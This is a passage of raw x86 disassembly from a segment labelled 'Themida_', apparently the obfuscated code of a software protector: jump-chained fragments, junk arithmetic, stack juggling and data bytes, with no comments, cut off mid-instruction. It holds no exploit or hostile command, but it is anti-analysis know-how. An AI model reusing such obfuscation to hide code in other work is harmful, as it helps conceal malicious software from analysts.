loc_548C8E: ; CODE XREF: Themida_:0054AF27j push ebp mov ebp, 390293EDh add edi, 44CA73ABh jmp loc_54BA4D ; --------------------------------------------------------------------------- db 8Bh dd 0EC832404h, 240C8904h, 0FFF601E9h, 23B568FFh, 3C890000h dd 275AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548CBA: ; CODE XREF: Themida_:00544096j mov ecx, esp push ebp push eax push 779B7146h mov eax, [esp] add esp, 4 sub eax, 2D3E20BBh shl eax, 6 shr eax, 3 xor eax, 12EA845Ch mov ebp, eax pop eax add ecx, ebp mov ebp, [esp] add esp, 4 push ebp push ebx mov ebx, 4F685AF6h mov ebp, 0B097A50Eh jmp loc_54A59B ; --------------------------------------------------------------------------- dd 80E9FE30h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548CFF: ; CODE XREF: Themida_:005476A3j mov [esp], ecx jmp loc_54F158 ; --------------------------------------------------------------------------- db 5 dd 4, 2C75E9h, 4EC8300h, 3FB9E9h, 24048B00h, 4C481h, 0BE560000h dd 2, 3436C181h, 0F1014BCDh, 3436BF57h, 0F9294BCDh, 0FFF578E9h dd 5DEA01FFh, 0FFC367E9h, 0E9E189FFh, 0FFFFBB86h ; --------------------------------------------------------------------------- loc_548D4C: ; CODE XREF: Themida_:0054A146j pop ecx add esp, 4 push edx jmp loc_548781 ; --------------------------------------------------------------------------- aT_sc7 db 'T_éc7',0 dd 0ACEE8100h, 0E95266F3h, 2BD4h, 0BA15E951h, 8B66FFFFh dd 8950240Ch, 0F5BE56E0h, 0E91AA17Dh, 159Ch, 0E9242C31h dd 4617h, 0AAC6814Eh, 0E966A61Fh, 717h ; --------------------------------------------------------------------------- loc_548D94: ; CODE XREF: Themida_:0054CB50j mov esp, [esp] jmp loc_54F2A8 ; --------------------------------------------------------------------------- dd 13C78158h, 0E909154Ah, 0FFFFE4B2h, 0B8240489h, 2, 0E5E9C389h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_548DB7: ; CODE XREF: Themida_:0054F62Dj add ebp, 4 push edi mov edi, 726F5A07h jmp loc_544FA9 ; --------------------------------------------------------------------------- loc_548DC8: ; CODE XREF: Themida_:005477AFj xchg ebp, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] jmp loc_54D4CF ; --------------------------------------------------------------------------- db 0B9h, 8Fh, 24h dd 0E9E95817h, 5EFFFFDDh, 0FFFE94E9h, 2BE56FFh, 1000000h dd 24348BF3h, 4C481h, 0E9530000h, 4270h ; --------------------------------------------------------------------------- loc_548E00: ; CODE XREF: Themida_:0054F56Aj pop esi push edx jmp loc_54C1C2 ; --------------------------------------------------------------------------- db 66h dd 66243C87h, 665A4E68h, 66243C89h, 66241431h, 66241433h dd 66241431h, 14F76652h, 0E95A6624h, 49F2h ; --------------------------------------------------------------------------- loc_548E2C: ; CODE XREF: Themida_:0054A22Cj add esp, 4 add esp, 4 push 6907h jmp loc_54AB16 ; --------------------------------------------------------------------------- db 66h dd 53240C8Bh, 0FFC98CE9h, 241C87FFh, 240C895Ch, 0C181E189h dd 4, 4BE56h, 0EC810000h, 4, 68240489h, 7C1E4495h, 0B50FE958h dd 0EE80FFFFh, 0A6B652E3h, 0E95AF028h, 6563h ; --------------------------------------------------------------------------- loc_548E80: ; CODE XREF: Themida_:0054F321j mov esi, ebx mov ebx, [esp] jmp loc_54E153 ; --------------------------------------------------------------------------- loc_548E8A: ; CODE XREF: Themida_:005464BBj jnz loc_546D46 push 3E16h jmp loc_5454B7 ; --------------------------------------------------------------------------- dw 4D68h dd 89000018h, 2C812414h, 531F7624h, 0D0E95941h, 5B00003Ch dd 843E9h, 79D76800h, 3C890000h, 0AE1BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548EC2: ; CODE XREF: Themida_:0054E2E0j pop ebp shr edx, 6 push ebx mov ebx, 639C1EC2h jmp loc_548FCD ; --------------------------------------------------------------------------- db 0FFh, 30h, 0E9h dd 0FFFFAB48h ; --------------------------------------------------------------------------- loc_548ED8: ; CODE XREF: Themida_:0054C2F8j add esi, 0FFFFFFFFh jmp loc_5460C3 ; --------------------------------------------------------------------------- dd 486BBD55h, 0E98949B6h, 1B1EE9h, 6C78000h, 3ADDE9h, 0EC815900h dd 4, 0FF240C89h, 0E4E9240Ch, 83FFFFC4h, 0C8704C1h, 48F5C24h dd 69E3E924h, 0BA0000h, 29000000h, 5AD589EAh, 64BBF57h dd 0FD311F1Fh, 34EDE9h, 24148B00h, 4C481h, 0FF550000h dd 5D042474h, 5C24048Fh, 9C240420h, 0FFD92EE9h db 0FFh ; --------------------------------------------------------------------------- loc_548F49: ; CODE XREF: Themida_:0054F897j push edi mov edi, 3F2C5038h jmp loc_54F359 ; --------------------------------------------------------------------------- dd 2434FF5Ch, 8306859h, 2C890000h, 618C6824h, 24890000h dd 4BB5324h, 0E9000000h, 56E4h, 58F2C681h, 0F229F03Ah dd 6036E9h, 6405BE00h, 0DEF76797h, 6150EE81h, 0FDE916C8h dd 8000004Bh, 0EA28C2F5h, 0DDB9E959h, 0DF68FFFFh, 0E900000Ch dd 0FFFFDC87h ; --------------------------------------------------------------------------- loc_548FA8: ; CODE XREF: Themida_:0054B9DAj mov ebx, 0 add ebx, 3C945BA4h jmp loc_54F59B ; --------------------------------------------------------------------------- dd 8758C501h, 33E9242Ch, 1FFFFE7h, 24148BD6h, 3C4EE9h db 0 ; --------------------------------------------------------------------------- loc_548FCD: ; CODE XREF: Themida_:00548ECCj inc ebx jmp loc_54C873 ; --------------------------------------------------------------------------- db 52h dd 0EA8021B2h, 0D0D2F6EAh, 0E9DAF6EAh, 5ED8h ; --------------------------------------------------------------------------- loc_548FE4: ; CODE XREF: Themida_:0054B624j mov edi, [esp] add esp, 4 add esi, ebx pop ebx push 33DDh mov [esp], ebx push 0E1Eh jmp loc_543E2F ; --------------------------------------------------------------------------- loc_549002: ; CODE XREF: Themida_:00549AAAj xor eax, 59F75FF1h mov ebx, eax jmp loc_545206 ; --------------------------------------------------------------------------- loc_54900E: ; CODE XREF: Themida_:00549FF9j push 7FBEh mov [esp], esi mov esi, esp push edi mov edi, 4 sub esi, 5BFB49ABh add esi, edi push ebp mov ebp, 63935401h dec ebp and ebp, 76F44291h jmp loc_54D5FB ; --------------------------------------------------------------------------- loc_549038: ; CODE XREF: Themida_:005482A9j inc bx add bx, 0F464h jmp loc_547D76 ; --------------------------------------------------------------------------- dd 902047C7h, 516A7912h, 0E610C7B9h, 204F2914h, 552FE9h dd 0AABE5600h, 0C148F23Ah, 0EEC102E6h, 0B0F68107h, 0D154174Ah dd 4D11E9EEh, 29680000h, 89000018h, 0E589242Ch, 0FFD739E9h dd 1ABB53FFh, 8145DF2Eh, 88077BCBh, 2DD4E975h, 8B660000h dd 0BEE9240Ch, 59000031h, 4C481h, 0EC810000h, 4, 11DBE9h dd 242C8900h, 0B850E589h, 21090A3Ch, 8C05E0D1h, 1BDEDEBh dd 24048BC5h, 5704C483h, 4BFh, 5FFD0100h, 0FFB7CFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5490D5: ; CODE XREF: Themida_:0054D676j mov [esp], edx push eax pushf jmp loc_543A20 ; --------------------------------------------------------------------------- db 1 dd 0B2C281FAh, 0E91EBC30h, 0FFFFE9A4h ; --------------------------------------------------------------------------- loc_5490EC: ; CODE XREF: Themida_:005479EFj add ecx, 7628FB49h sub edi, ecx jmp loc_5485B7 ; --------------------------------------------------------------------------- loc_5490F9: ; CODE XREF: Themida_:0054AC7Fj pop edi shl ebx, 3 inc ebx xor ebx, 8880872Eh xor ecx, ebx pop ebx and eax, ecx mov ecx, [esp] add esp, 4 jmp loc_54EAA0 ; --------------------------------------------------------------------------- db 1 dd 0F5E5EF7h, 34FFC0B6h, 69D36887h, 2C890000h, 84BE5624h dd 0E95DD964h, 135h, 343668h, 2F8EE900h, 0F6810000h, 30DC6618h dd 0E681D6F7h, 41BA10CEh, 0EEC1D6F7h, 8DEE8106h, 8996E7D9h dd 0BD555EF1h, 5254333Ch, 2657E9h, 5BE95800h, 56FFFFE3h dd 3F30C8BEh, 0E3E9465Eh, 81FFFFDFh, 671799C9h, 81D1F769h dd 7765B1C9h, 0B5F18133h, 1B3FFE5h, 0E95359CBh, 4C15h dd 0FDE7E956h, 48BFFFFh, 15EBE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5491A2: ; CODE XREF: Themida_:00545DD2j push 0B4578DBh mov ebx, [esp] add esp, 4 push edi push 2E00FA6h pop edi xor ebx, edi jmp loc_54C627 ; --------------------------------------------------------------------------- dw 4CBAh dd 116167Dh, 8B042454h, 0C4832414h, 50BAE904h, 148B0000h dd 4C48124h, 81000000h, 0FA7E74C3h, 0B4BDE920h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5491E6: ; CODE XREF: Themida_:00546BC7j mov eax, [esp] push ecx mov ecx, esp push esi mov esi, 4 add ecx, esi pop esi add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5468B2 ; --------------------------------------------------------------------------- dd 0E8743825h, 0F5392D6Dh, 0B9E9BFFEh, 66FFFFAEh, 50243C8Bh dd 405E089h, 83000000h, 48702C0h, 31665C24h, 3366243Ch dd 3166243Ch, 0A5E9243Ch db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_549237: ; CODE XREF: Themida_:00546D91j push ebx mov ebx, 135B49C4h add ebx, 3655F5CAh sub edi, ebx pop ebx pop ecx xchg edi, [esp] jmp loc_54E376 ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 16D1E9h, 0E9815F00h, 1A5861CBh, 3337E9h dd 81D6F700h, 0FFFFFFC6h, 66BD55FFh, 2932287Fh, 0F5895DEEh dd 0F890E95Eh, 0BF57FFFFh, 4, 815FFB01h, 2C3h, 74FF5300h dd 34FF0424h db 24h, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi jmp loc_5477A1 ; --------------------------------------------------------------------------- db 59h dd 0BB04D828h, 59D868h, 0B12E900h, 0B9B40000h, 0E958E300h dd 59BAh, 4EC83ADh, 57240C89h, 5A816855h, 2C8B38D5h, 4C48124h dd 0C1000000h, 3EE906E5h, 0B8000006h, 67B748E8h, 2D03E0C1h dd 398E388Dh, 0FFD043E9h, 6F5F05FFh, 348B298Ch, 0A759E924h dd 3CB7FFFFh, 665BFD88h, 0F1B050h, 0F0BFE9C5h, 1C87FFFFh dd 0E5E95C24h, 5E000050h, 57B9515Ah, 0E96FAC7Dh, 0FFFFC474h dd 0DB20EA81h, 0D6315DF2h, 215AE95Ah, 0CF810000h, 758C3E91h dd 0E7C1EFD1h, 9AC78103h, 8154734Eh, 631129EFh, 0E9F9010Ch dd 0FFFFFF11h ; --------------------------------------------------------------------------- loc_54934C: ; CODE XREF: Themida_:00546736j mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] jmp loc_544D00 ; --------------------------------------------------------------------------- db 89h dd 4C781E7h, 0E9000000h, 1E31h, 148BD104h, 4C48324h, 0D8006A2Ch dd 0E52C6A04h, 5801E9h, 72D7BD00h, 0F4E9673Ch db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54938B: ; CODE XREF: Themida_:00548472j push dword ptr [esp] mov ebx, [esp] jmp loc_544C94 ; --------------------------------------------------------------------------- loc_549396: ; CODE XREF: Themida_:005441A2j mov ecx, 50A43DD7h xor ecx, 7E9C0AF7h sub ecx, 24C37652h jmp loc_54CDA1 ; --------------------------------------------------------------------------- dd 0E9241C8Bh, 0FFFFE894h, 405h, 4C08300h, 1CEA68h, 24048900h dd 42474FFh, 24048F58h, 5202E9h, 24348700h, 5524248Bh dd 33D4E9h, 0E94F2400h, 0FFFFA788h ; --------------------------------------------------------------------------- loc_5493E4: ; CODE XREF: Themida_:0054B00Aj push eax jmp loc_544798 ; --------------------------------------------------------------------------- dw 0BA52h dd 77A67AD0h, 8104EAC1h, 4F62E6E2h, 5E2C165h, 5C7ABE56h dd 0E6816B13h, 2A245972h, 0F7DE874Eh, 0C1DE87D3h, 0BEE907EEh dd 51000065h, 0FFE349E9h, 2C01B8FFh, 0D82963C1h, 58C1895Bh dd 16E8BF57h, 0FBE93CBCh, 58FFFFFEh, 4B951h, 0E9560000h dd 0CB7h, 0E904C483h, 0FFFFAA4Bh, 0E924248Bh, 0FFFFA5D0h dd 4C281h, 0DE90000h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54945B: ; CODE XREF: Themida_:0054F6CAj push edi jmp loc_54D9EF ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], ecx push ebx push ebp mov ebp, 757E49D2h jmp loc_549D11 ; --------------------------------------------------------------------------- db 0C1h dd 0BE5605E1h, 0EDF47637h, 0E95EF129h, 3FBEh, 80CAC380h dd 805A0DC3h, 0E95269C3h, 0FFFFF31Ah, 8B243C87h, 0FDE92424h dd 81FFFFD3h, 989195EEh, 5EF389F6h, 8102E3C1h, 4C264BEBh dd 0D1E952F5h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5494C3: ; CODE XREF: Themida_:0054D96Ej push ebx mov bh, 0F6h sub bh, 0D9h jmp loc_547A79 ; --------------------------------------------------------------------------- loc_5494CE: ; CODE XREF: Themida_:0054B13Aj add ebp, 0E50AD3EBh sub ecx, ebp pop ebp jmp loc_544198 ; --------------------------------------------------------------------------- dd 0FFA53FE9h, 68FFh, 8BE90000h, 52000019h, 2223768h, 0D770E93Dh dd 0B4BEFFFFh, 0E96A7B5Ah, 0FFFFCE23h, 2CE0E681h, 17E91835h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54950B: ; CODE XREF: Themida_:0054BF56j mov [esp], ecx mov ecx, 4BC535A6h jmp loc_54F966 ; --------------------------------------------------------------------------- loc_549518: ; CODE XREF: Themida_:0054BCF7j pop edx mov eax, edx mov edx, [esp] add esp, 4 mov ebx, eax mov eax, [esp] add esp, 4 sub [edi+24h], ebx push dword ptr [esp] jmp loc_5459F5 ; --------------------------------------------------------------------------- aS8a db ']é8a',0 db 0 ; --------------------------------------------------------------------------- loc_54953D: ; CODE XREF: Themida_:00547508j mov esi, 56551E8h add eax, 63E33259h add eax, esi jmp loc_5499FD ; --------------------------------------------------------------------------- dw 8B66h dd 0AE682404h, 0E9000056h, 2A46h ; --------------------------------------------------------------------------- loc_54955C: ; CODE XREF: Themida_:00543B06j mov [esp], ecx mov ecx, 10102FCCh neg ecx shl ecx, 4 jmp loc_54A9DE ; --------------------------------------------------------------------------- loc_54956E: ; CODE XREF: Themida_:0054C37Ej mov edi, [esp] add esp, 4 sub ebx, 577B1C89h sub ebx, 4E4E5FE8h add ebx, 83B6B4Eh sub ebx, eax sub ebx, 83B6B4Eh jmp loc_54CF9E ; --------------------------------------------------------------------------- loc_549593: ; CODE XREF: Themida_:0054792Dj mov [esp], edi push edx mov edx, 4A286B6Bh push ecx jmp loc_54C171 ; --------------------------------------------------------------------------- loc_5495A2: ; CODE XREF: Themida_:0054C633j xchg edi, edx sub esp, 4 mov [esp], ebp mov ebp, 3D9F0706h xor edx, ebp mov ebp, [esp] jmp loc_545418 ; --------------------------------------------------------------------------- loc_5495BC: ; CODE XREF: Themida_:00544A53j sub ebx, edi mov edi, [esp] add esp, 4 jmp loc_543E18 ; --------------------------------------------------------------------------- loc_5495C9: ; CODE XREF: Themida_:0054B3A6j and ebp, ebx pop ebx dec ebp and ebp, 5067278Dh sub esp, 4 mov [esp], edi mov edi, 5D7257C4h push ebx mov ebx, esp jmp loc_5471FA ; --------------------------------------------------------------------------- dw 37B9h dd 4122A108h, 8D29BD55h, 91E90528h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5495F7: ; CODE XREF: Themida_:00547155j pop esp mov [esp], edi push esi mov esi, ebx mov edi, esi pop esi push ebx mov ebx, edi push edx mov edx, ebx mov eax, edx jmp loc_5441C7 ; --------------------------------------------------------------------------- dw 0F268h dd 0E9000006h, 0FFFFADB0h, 4C1815Ah, 87000000h, 248B240Ch db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push 5656h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push dword ptr [eax] jmp loc_543A20 ; --------------------------------------------------------------------------- loc_54964C: ; CODE XREF: Themida_:0054ED61j push 1B12h mov [esp], ecx mov cl, 0Ah add cl, 0C7h push ebx mov bh, 0BDh sub bh, 3Fh xor cl, bh jmp loc_54811F ; --------------------------------------------------------------------------- dw 0CAFEh dd 0E9D3EA80h, 0FFFFE7E5h, 4C2835Fh, 5C241487h, 5C24048Fh dd 9C240CFEh, 0FFA39BE9h, 6037BDFFh, 0CD814EC4h, 3ED0325Ah dd 0B850h, 0A42D0000h, 2967B151h, 51A405E8h, 0C58967B1h dd 0E92434FFh, 36D2h ; --------------------------------------------------------------------------- loc_5496AC: ; CODE XREF: Themida_:0054A7F7j push 332742CFh mov eax, [esp] jmp loc_544213 ; --------------------------------------------------------------------------- aUNSo db 'U½Ø"',1Bh,'éO',8,0 align 4 dd 0CB80DBB3h, 0ACEB8008h, 8003E3C0h, 0E3C0A5F3h, 0F4F38006h dd 665BDE00h, 0E9F02858h, 0FFFFE5CAh, 37E6866h, 24048966h dd 0B75385B0h, 0E9CFFECFh, 0FFFFDC80h, 559C801h, 2, 31240433h dd 4332404h, 1665C24h, 0E99C2404h, 0FFFFC0DCh ; --------------------------------------------------------------------------- loc_549714: ; CODE XREF: Themida_:0054C9A1j push 6036h mov [esp], eax push dword ptr [esp+4] pop eax jmp loc_54E9DB ; --------------------------------------------------------------------------- dw 0C581h dd 57444D7h, 0ED81D501h, 57444D7h, 0FFEDABE9h, 4C483FFh dd 4EC81h, 4890000h, 68E08924h, 14F3h, 53243489h, 22301CBBh dd 0C4EDE944h, 8141FFFFh, 5CB438C1h, 0CCF18134h, 503ACE32h dd 523309B8h, 58C12965h, 0E959CF01h, 0FFFFE654h, 9537C381h dd 0D801C341h, 0BD9E9h, 14896600h, 6183E924h, 56500000h dd 0D0F75E58h, 24348750h, 3487D6F7h, 567DE924h, 0E95C0000h dd 1FE3h, 809AB353h, 0E38057F3h, 57736875h, 0C890000h dd 5288B524h, 0E680C2B6h, 0CB75397h, 0FFF52FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5497C9: ; CODE XREF: Themida_:0054EE7Fj push 8E9h jmp loc_5448AF ; --------------------------------------------------------------------------- db 5Eh dd 0BFF7F581h, 97E93FE5h, 2CFFFFC7h, 74B65254h, 6602EC83h dd 0E9240489h, 702h, 4C18159h, 56000000h, 2BEh, 0A1E95200h dd 68000029h, 2A54h, 53A468h, 24248900h, 4240481h, 0E9000000h dd 0FFFFAC04h, 872414F7h, 87402404h, 815D2404h, 4ECh, 530CE900h dd 835C0000h, 48704C0h, 24248B24h, 520668h, 241C8900h dd 0F8786CBBh, 0F1BE5674h, 0E9614814h, 0FFFFD5BBh ; --------------------------------------------------------------------------- loc_549854: ; CODE XREF: Themida_:0054BF1Aj pop ebx sub eax, edx mov edx, [esp] add esp, 4 push eax pop dword ptr [edx+30h] mov eax, [esp] add esp, 4 popa popf jmp locret_5442CD ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h, 5D000000h, 2503E8C1h, 49F20DD2h, 0CCE9D8F7h dd 81FFFFB4h, 4C4h, 53CB8100h, 0E9529A36h, 3837h, 8704C483h dd 2CE92414h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5498A3: ; CODE XREF: Themida_:0054A00Dj sub bl, cl jmp loc_54B6AA ; --------------------------------------------------------------------------- loc_5498AA: ; CODE XREF: Themida_:0054C0B4j xor edi, 31823BD3h jmp loc_54B059 ; --------------------------------------------------------------------------- aFssvj db 'fSéVJ',0 align 4 dd 0B1E9F701h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5498C3: ; CODE XREF: Themida_:00546E68j push ebx mov edi, [esp] jmp loc_545212 ; --------------------------------------------------------------------------- dd 0F4BA5251h, 0B9343D57h, 66C63B39h, 0FFAA8BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5498DD: ; CODE XREF: Themida_:005475EAj push ecx pop dword ptr [edi+24h] mov ecx, [esp] jmp loc_54B994 ; --------------------------------------------------------------------------- db 0C1h, 0E1h, 3 dd 257EF181h, 0C68153ABh, 37CF6AD0h, 0EE81CE29h, 37CF6AD0h dd 9DC68159h, 0E96FA946h, 0FFFFF142h, 5A66D62Ch, 0D828BA2Ch dd 1580E9h, 6ED8100h, 0E9D93A2Ah, 0FFFFBEE0h, 6A68C80Fh dd 89000032h, 0EDE92404h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549933: ; CODE XREF: Themida_:0054719Dj sub esi, 49882C7Dh add esi, edi jmp loc_54F6C3 ; --------------------------------------------------------------------------- dd 240C8B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_543F48 ; --------------------------------------------------------------------------- dw 0ECB0h dd 802CC8FEh, 527CE9h, 4C48100h, 0E9000000h, 0FFFFC0ECh dd 0D0F7D0F7h, 0F2556235h, 58C1296Dh, 12EA685Eh, 0C890000h dd 2474FF24h, 48F5904h, 8B665C24h, 0C168240Ch, 89000053h dd 5D54242Ch, 4C581h, 29680000h, 89000000h, 4BE2434h, 4E3B9E7Bh dd 0ADE9DEF7h, 5200004Dh, 0FFF561E9h db 0FFh ; --------------------------------------------------------------------------- loc_5499B5: ; CODE XREF: Themida_:00547EBAj mov esi, 4 sub edi, 493F0C01h sub edi, esi add edi, 493F0C01h pop esi xchg edi, [esp] pop esp jmp loc_543A46 ; --------------------------------------------------------------------------- dw 0C480h dd 8C48072h, 0E94BEA80h, 0FFFFD67Ch ; --------------------------------------------------------------------------- loc_5499E0: ; CODE XREF: Themida_:0054B517j xor ebx, esi jmp loc_54F614 ; --------------------------------------------------------------------------- loc_5499E7: ; CODE XREF: Themida_:00549E05j shr ecx, 0Bh push 80h mov [esp], ecx jmp loc_548128 ; --------------------------------------------------------------------------- db 46h dd 0FFD912E9h db 0FFh ; --------------------------------------------------------------------------- loc_5499FD: ; CODE XREF: Themida_:00549549j push ebx mov ebx, 15DD392Ch add ebx, 4E05F92Dh sub eax, 2EBF2837h jmp loc_549CA4 ; --------------------------------------------------------------------------- db 80h dd 0EE8006F6h, 745E930h, 2C890000h, 4BBE924h, 0F1810000h dd 300B54E9h, 6998E981h, 0B850710Eh, 33731362h, 8904EC83h dd 0F7BB241Ch, 0E9700F27h, 51C6h ; --------------------------------------------------------------------------- loc_549A48: ; CODE XREF: Themida_:00549E43j pop ebx push eax mov eax, 4 sub ebp, eax pop eax xchg ebp, [esp] pop esp mov [esp], eax xchg esi, [esp] push esi xchg eax, [esp] not eax push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esi, [esp] jmp loc_54F699 ; --------------------------------------------------------------------------- loc_549A73: ; CODE XREF: Themida_:0054CD46j push ecx mov ecx, 0FFFFFFFFh add esi, ecx pop ecx jmp loc_54BDB9 ; --------------------------------------------------------------------------- loc_549A81: ; CODE XREF: Themida_:0054C528j pop edi shl esi, 1 sub esi, 2C0F4D61h not esi sub esi, 0A11EE6D2h jmp loc_54CD87 ; --------------------------------------------------------------------------- db 83h dd 8C6804C4h, 0E900003Bh, 389Ah ; --------------------------------------------------------------------------- loc_549AA4: ; CODE XREF: Themida_:00545128j push 7C790E81h pop eax jmp loc_549002 ; --------------------------------------------------------------------------- db 57h dd 0FE2217BFh, 1EEF8125h, 81499470h, 659C20C7h, 0E050E965h dd 8168FFFFh, 8900006Bh, 0AFB5240Ch, 8603EDC0h, 86D0F6C5h dd 80CDFEC5h, 0E8284FF5h, 4EC8359h, 50241C89h, 1D85E9h dd 0E7805C00h, 244EE9B8h, 0EB800000h, 0CAEB800Dh, 0FFD787E9h dd 28FFB7FFh, 4B3FE9FAh, 0E9010000h, 0C335E5Dh, 0D5E3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549B16: ; CODE XREF: Themida_:00549B72j pop dword ptr [esp] jmp loc_54B3AB ; --------------------------------------------------------------------------- dw 0ED81h dd 294B3043h, 0EFFFE95Fh, 5259FFFFh, 0C281E289h, 4, 1FEE9h dd 0DFB65200h, 35DBE9h, 4FCF6800h, 1C890000h, 96EE924h dd 0EC810000h, 4, 54243C89h db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp jmp loc_549B16 ; --------------------------------------------------------------------------- loc_549B77: ; CODE XREF: Themida_:0054D6CFj inc ah jmp loc_5452EC ; --------------------------------------------------------------------------- dw 0C181h dd 4, 2B268h, 24048900h, 0A25FE956h, 895CFFFFh, 0E589242Ch dd 4BF57h, 0ED810000h, 50C955ACh, 0FFEEDDE9h db 0FFh ; --------------------------------------------------------------------------- loc_549BA9: ; CODE XREF: Themida_:00543FF6j xchg edx, [esp] pop esp sub esp, 4 mov [esp], edx push ecx mov ecx, 29782D20h mov edx, ecx jmp loc_54AD24 ; --------------------------------------------------------------------------- loc_549BC0: ; CODE XREF: Themida_:00545F52j add ebp, edi pop edi and eax, ebp jmp loc_54A2BC ; --------------------------------------------------------------------------- dw 0C02Ch dd 0FFFC0EE9h, 800DB2FFh, 0EA80A6EAh, 5AD0287Eh, 0E904E828h dd 83240C8Bh, 52E904C4h, 0BD00000Ch, 4, 0E95D5B55h, 36CBh ; --------------------------------------------------------------------------- loc_549BF8: ; CODE XREF: Themida_:0054CFA4j add ebx, 577B1C89h add ebx, 7EC80898h movzx ax, byte ptr [eax] push 6E28h mov [esp], ebx push esp pop ebx add ebx, 4 push 4BA4h mov [esp], esi mov esi, 29123998h xchg edx, esi neg edx xchg edx, esi dec esi not esi jmp loc_54A7B0 ; --------------------------------------------------------------------------- db 0BEh dd 62D51F6h, 815EF189h, 4ECh, 24048900h, 1F22E9h, 24048300h dd 24148B04h, 4C481h, 0EC830000h, 243C8904h, 4BFh, 5FFA0100h dd 3D0AE9h, 4EC8100h, 89000000h, 68502414h, 7278109Dh dd 6F230D58h, 0A40534E1h, 530D634Fh, 8F518FBBh, 5EC3813Bh dd 0E915BF7Dh, 0FFFFAF10h, 9D1C77FFh, 19665866h, 0E99C2404h dd 0FFFF9D7Ch ; --------------------------------------------------------------------------- loc_549CA4: ; CODE XREF: Themida_:00549A0Ej sub eax, ebx add eax, 2EBF2837h mov ebx, [esp] add esp, 4 push dword ptr [esp] pop esi add esp, 4 sub eax, ebx sub eax, 56551E8h jmp loc_548829 ; --------------------------------------------------------------------------- dw 0C8Bh aSk2 db '$éŠ2',0 align 2 loc_549CD2: ; CODE XREF: Themida_:005474DCj xor eax, edi pop edi xor eax, 26AD2F85h shr eax, 5 push ebp mov ebp, 6F51770Ah sub ebp, 89DC3F87h sub eax, 6EE447DCh jmp loc_54D693 ; --------------------------------------------------------------------------- loc_549CF3: ; CODE XREF: Themida_:0054CE3Bj mov [esp], eax jmp loc_54EFF7 ; --------------------------------------------------------------------------- db 1 dd 0CF215BD9h, 9EC1E959h, 0C483FFFFh, 58C30104h, 1662E9h db 0 ; --------------------------------------------------------------------------- loc_549D11: ; CODE XREF: Themida_:0054947Aj inc ebp xor ebp, 757E49D7h mov ebx, ebp pop ebp mov ecx, ebx pop ebx jmp loc_54CC5F ; --------------------------------------------------------------------------- loc_549D23: ; CODE XREF: Themida_:0054F682j not ebx jmp loc_54FB82 ; --------------------------------------------------------------------------- loc_549D2A: ; CODE XREF: Themida_:0054DC9Fj mov ecx, esp add ecx, 4 jmp loc_54A261 ; --------------------------------------------------------------------------- db 83h dd 0E95204EAh, 5BFDh, 24048F54h, 4240481h, 0E9000000h dd 6EAh, 0BB241C89h, 58FA202Ah, 2BE9DE31h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549D5F: ; CODE XREF: Themida_:0054E051j push eax jmp loc_54CE40 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 36EE924h, 248B0000h, 0BB02E924h, 0F800FFFFh, 66C6005Bh dd 0E924048Bh, 109Dh, 9C240428h, 0FF9C93E9h db 0FFh ; --------------------------------------------------------------------------- loc_549D8D: ; CODE XREF: Themida_:00543A24j push eax mov ah, 0AEh push ecx mov ch, 0 or ch, 0E3h jmp loc_5463EF ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E2895200h, 4C281h, 0C2810000h, 4, 0E9241487h dd 0FFFFFA7Ah ; --------------------------------------------------------------------------- loc_549DB8: ; CODE XREF: Themida_:0054D859j pop esi jmp loc_54BE50 ; --------------------------------------------------------------------------- loc_549DBE: ; CODE XREF: Themida_:00543F54j push edi jmp loc_54B4B2 ; --------------------------------------------------------------------------- dd 0E9241C89h, 1B80h, 4C781h, 0EF810000h, 4, 5C243C87h dd 0B9240C89h, 2FDECEB3h, 159CD01h, 242C8BE8h, 52E38953h dd 191986BAh, 0E281421Bh, 15944BB2h, 0E906EAC1h, 526Ah ; --------------------------------------------------------------------------- loc_549E04: ; CODE XREF: Themida_:0054F35Ej pop esi jmp loc_5499E7 ; --------------------------------------------------------------------------- dw 34FFh dd 89515824h, 4C181E1h, 0E9000000h, 0FFFFC32Dh ; --------------------------------------------------------------------------- loc_549E1C: ; CODE XREF: Themida_:0054F30Cj push eax mov eax, 5F25084Eh sub ebp, eax mov eax, [esp] add esp, 4 jmp loc_54B958 ; --------------------------------------------------------------------------- loc_549E32: ; CODE XREF: Themida_:0054DB66j mov ebx, 78C136EBh neg ebx not ebx sub ebx, 78C136E6h add 